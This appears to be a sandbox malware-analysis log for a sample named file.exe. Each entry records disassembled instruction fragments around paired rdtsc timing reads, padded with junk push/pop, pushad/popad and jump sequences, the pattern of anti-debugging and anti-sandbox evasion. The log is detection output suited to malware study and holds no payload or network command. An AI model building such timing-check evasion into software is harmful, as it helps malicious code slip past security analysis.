Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6A8F second address: EE6A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE6A93 second address: EE6AC9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FBA3CEC18A1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FBA3CEC18A9h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEADC7 second address: EEADCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6CC6 second address: EF6CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6CCC second address: EF6CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6CD0 second address: EF6CFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A6h 0x00000007 jmp 00007FBA3CEC189Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12396 second address: F123B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FBA3CEC1176h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FBA3CEC1176h 0x00000013 jmp 00007FBA3CEC117Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12C5A second address: F12C74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 ja 00007FBA3CEC189Eh 0x0000000d jns 00007FBA3CEC1896h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F12DF7 second address: F12E03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FBA3CEC1176h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F149A5 second address: F149AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F149AB second address: F149B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBA3CEC1176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F149B7 second address: F149BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F149BB second address: F149BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F149BF second address: F149C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F175D0 second address: F175D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17734 second address: F17742 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FBA3CEC1896h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1798C second address: F17990 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F17990 second address: F1799D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A8C2 second address: F1A8CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A8CA second address: F1A8D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A3F9 second address: F1A3FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A3FD second address: F1A418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A418 second address: F1A41D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A41D second address: F1A442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FBA3CEC18A4h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FBA3CEC18B0h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A442 second address: F1A448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A448 second address: F1A44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A44C second address: F1A450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C25D second address: F1C273 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C273 second address: F1C2A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBA3CEC1182h 0x0000000d jmp 00007FBA3CEC1187h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C2A4 second address: F1C2AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1C2AC second address: F1C2B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160CE2 second address: 5160D5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FBA3CEC18A7h 0x00000009 xor si, 3F1Eh 0x0000000e jmp 00007FBA3CEC18A9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FBA3CEC18A0h 0x0000001a xor ecx, 5BE0ED18h 0x00000020 jmp 00007FBA3CEC189Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a pushad 0x0000002b push esi 0x0000002c jmp 00007FBA3CEC189Bh 0x00000031 pop esi 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 pop ecx 0x00000036 popad 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D5C second address: 5160D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D62 second address: 5160D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D67 second address: 5160D6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D6D second address: 5160D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FBA3CEC18A3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D8B second address: 5160D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D91 second address: 5160D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D95 second address: 5160D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C6F second address: 5150C74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C74 second address: 5150C93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esp 0x0000000a jmp 00007FBA3CEC117Ch 0x0000000f mov dword ptr [esp], ebp 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 movzx esi, di 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150C93 second address: 5150D0A instructions: 0x00000000 rdtsc 0x00000002 mov ax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007FBA3CEC18A5h 0x0000000c pushfd 0x0000000d jmp 00007FBA3CEC18A0h 0x00000012 sbb ah, FFFFFF98h 0x00000015 jmp 00007FBA3CEC189Bh 0x0000001a popfd 0x0000001b pop ecx 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FBA3CEC18A5h 0x00000026 and al, 00000036h 0x00000029 jmp 00007FBA3CEC18A1h 0x0000002e popfd 0x0000002f movzx eax, di 0x00000032 popad 0x00000033 pop ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D0A second address: 5150D1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1180h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D1E second address: 5150D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D24 second address: 5150D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D28 second address: 5150D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130102 second address: 513016F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FBA3CEC1181h 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FBA3CEC117Eh 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 movzx esi, dx 0x0000001b movsx edx, si 0x0000001e popad 0x0000001f push dword ptr [ebp+04h] 0x00000022 pushad 0x00000023 mov di, si 0x00000026 mov di, cx 0x00000029 popad 0x0000002a push dword ptr [ebp+0Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FBA3CEC1185h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 513016F second address: 5130175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130175 second address: 5130179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51509F1 second address: 5150A1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBA3CEC189Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150A1D second address: 5150A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150A23 second address: 5150A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f movsx edi, si 0x00000012 pushfd 0x00000013 jmp 00007FBA3CEC18A4h 0x00000018 or ch, FFFFFF98h 0x0000001b jmp 00007FBA3CEC189Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51505EF second address: 515061D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1189h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBA3CEC117Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515061D second address: 515062D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC189Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515062D second address: 5150631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51502AA second address: 51502B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51502B1 second address: 5150302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FBA3CEC1187h 0x0000000d mov ebp, esp 0x0000000f jmp 00007FBA3CEC1186h 0x00000014 pop ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FBA3CEC1187h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F59 second address: 5150F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F5D second address: 5150F82 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov ecx, ebx 0x00000009 mov bh, 6Ah 0x0000000b popad 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007FBA3CEC117Fh 0x00000016 pop eax 0x00000017 movsx edx, ax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F82 second address: 5150F99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150F99 second address: 5150F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519059B second address: 51905AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC189Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905AB second address: 51905C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905C3 second address: 51905E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905E6 second address: 51905EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905EA second address: 51905EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905EE second address: 51905F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51905F4 second address: 5190627 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC189Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FBA3CEC18A6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov si, 10A3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51700EE second address: 51700FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51700FB second address: 51700FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51700FF second address: 5170105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170105 second address: 517011E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 517011E second address: 5170122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170122 second address: 5170143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FBA3CEC189Ch 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edi, 1DC6F700h 0x00000017 push edi 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170143 second address: 5170186 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 6D0736D7h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f jmp 00007FBA3CEC1188h 0x00000014 mov eax, dword ptr [ebp+08h] 0x00000017 jmp 00007FBA3CEC1180h 0x0000001c and dword ptr [eax], 00000000h 0x0000001f pushad 0x00000020 movzx eax, di 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5170186 second address: 51701AA instructions: 0x00000000 rdtsc 0x00000002 call 00007FBA3CEC18A4h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b and dword ptr [eax+04h], 00000000h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51701AA second address: 51701AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51701AE second address: 51701B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51701B4 second address: 51701C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC1180h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515044D second address: 5150472 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150472 second address: 5150476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150476 second address: 515047A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515047A second address: 5150480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150480 second address: 5150486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150486 second address: 515048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 515048A second address: 51504C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FBA3CEC18A5h 0x00000012 sbb al, 00000056h 0x00000015 jmp 00007FBA3CEC18A1h 0x0000001a popfd 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C10 second address: 5160C7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c mov dx, si 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007FBA3CEC1181h 0x00000019 and ax, 6D16h 0x0000001e jmp 00007FBA3CEC1181h 0x00000023 popfd 0x00000024 popad 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007FBA3CEC1181h 0x0000002c xchg eax, ebp 0x0000002d jmp 00007FBA3CEC117Eh 0x00000032 mov ebp, esp 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C7E second address: 5160C84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C84 second address: 5160C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC117Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C93 second address: 5160C97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160F71 second address: 5160F88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC1183h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180C99 second address: 5180CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBA3CEC18A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5180CB5 second address: 5180CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
